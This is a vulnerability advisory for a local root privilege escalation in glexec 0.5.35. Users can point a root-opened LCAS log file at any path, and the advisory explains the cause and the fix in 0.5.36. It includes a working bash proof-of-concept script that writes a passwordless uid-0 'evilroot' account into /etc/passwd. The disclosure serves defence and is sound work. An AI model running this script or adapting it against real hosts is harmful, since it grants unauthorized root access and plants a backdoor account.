GLEXEC-2009-0004


Summary:

 

Any user that can run the glexec executable, and is in the white list of users allowed to run glexec, can elevate their privilege to the root user.


Component Vulnerable Versions Platform Availability Fix Available
glexec - 0.5.35 all not known to be publicly available 0.5.36 -
Status Access Required Host Type Required Effort Required Impact/Consequences
Verified local user in the glexec white list glexec low high
Fixed Date Credit
n/a Jim Kupsch

Access Required:

local user in the glexec white list

This vulnerability requires local access to the machine with the ability to execute glexec. In addition the user must be in the white list of accounts permitted to use glexec.

Effort Required:

low

To exploit this vulnerability requires the ability to call glexec with a certain set of inputs. The attacker also needs to be in the white list of users authorized to use glexec.

Impact/Consequences:

high

The impact of this vulnerability is that the attacker gains root access on the host.

Full Details:

 

Two libraries, LCAS and LCMAPS, are used by glexec to determine if a user running glexec is allowed to switch privileges to another user, determine what user to switch to, and depending upon the configuration perform the actual switch.

LCAS and LCMAPS both write to a log file that is determined by the environment variables LCAS_LOG_FILE and LCMAPS_LOG_FILE respectively. There are three places where glexec can get the value to use for these variables: the environment, the configuration file, or a compile time value.

The environment variables for these libraries are set in the function glexec_lcas_lcmaps_setup, using the function glexec_set_env_var to modify the environment. First glexec_lcas_lcmaps_setup chooses between a value set in the configuration file if present, or a hard coded constant if the value is missing from the configuration file. This value, and the name of the environment variable are passed to the function glexec_set_env_var. If the environment variable is set, the environment variable is left unchanged, otherwise the value passed in is used to set the environment variable.

This logic implies that actual value that the environment variable receives is the first value defined in the following list:

  1. the environment variable set by the caller of glexec,
  2. the value in the configuration file, or
  3. the compiled-in default value.

When writing to the log file both libraries will create the file if it does not exist. Once a file exists individual log records will be appended to the log file. The initial create or open of the log file is done with the effective user of root so no permission checks apply. This is necessary as the log file may located in a directory and have permissions that do not allow ordinary users access to disallow ordinary users access.

The calling user of the glexec process can set the environment variable containing the location of the log file. It is then possible to inject data onto the end of these files that is partially controlled by the user. There are many files in the file system that if an attacker and append a small amount of carefully crafted data, they can gain access to other accounts include root. These files include configurations files, script files and data files.

An example attack is shown in the bash script below. This script attacks the password file which is used to control what accounts are available on the host and their authentication information. If a line can be added to this file, a new account can be added without a password that is equivalent to the root account (has a user and group id of 0). The attack works be setting the LCAS_LOG_FILE to /etc/passwd, and uses the LCAS_DB_FILE environment variable to supply the injection data. This data contains a new-line to ensure the password file record is valid. There probably are other sources of data that could be used as well.

    #!/bin/bash

    #
    # locations of various files
    #
    GLEXEC=/opt/glite/sbin/glexec


    #
    # LCAS_LOG_FILE is the location to create/append LCAS log records
    #
    export LCAS_LOG_FILE=/etc/passwd


    #
    # Contents of the environment variable LCAS_DB_FILE is appended
    # to the end of two log records written to LCAS_LOG_FILE.  Set
    # LCAS_DB_FILE to a value that contains a new line, with the
    # second line begin a valid password file entry containing the
    # following fields:
    #
    #   username:  evilroot
    #   password:  <empty> (means no passord required)
    #   user id:   0 (root)
    #   group id:  0 (root)
    #   GECOS:     <empty>
    #   home dir:  /tmp
    #   shell:     /bin/bash
    #
    export LCAS_DB_FILE='/tmp/lcas.db
    evilroot::0:0::/tmp:/bin/bash'


    #
    # Run glexec
    #   This will fail, but will update /etc/passwd
    #
    $GLEXEC /bin/true


    #
    # Run /usr/bin/id as root
    #
    su evilroot -c /usr/bin/id
  

Cause:

improper trust
log injection

This vulnerability is caused by improperly allowing a user to specify the location of log files that are opened with root privileges. Since these libraries are run with root privileges the location of log files should only be specified by the root user.

Proposed Fix:

 

The environment variables that control LCAS and LCMAPS should never be taken from the calling user. The function glexec_set_env_var should be changed to set the environment variable from the configuration file or compiled-in default value.

Also the safe_env_lst array should be modified so environment variables beginning with LCAS_ and LCMAPS_ are cleared by the glexec_clean_env function to prevent the user from controlling any of the input to LCAS or LCMAPS directly.

Actual Fix:

 

In versions of glexec 0.5.36 and later, the safe_env_lst array was modified not allow variables beginning with LCAS_ and LCMAPS_. This effectively prevents this attack, since if the user has the dangerous variables set they will be cleared, and then set to the value specified in the configuration file or compiled-in default.

The strings to allow these variable to be supplied by the user are still in the code, but are commented out. They should be removed and a strongly worded comment should be added to the code not to add then back to the list of environment variable allowed to set by the user.

Acknowledgment:

 

This research funded in part by National Science Foundation grant OCI-0844219, NATO grant CLG 983049, and National Science Foundation grants CNS-0627501 and CNS-0716460.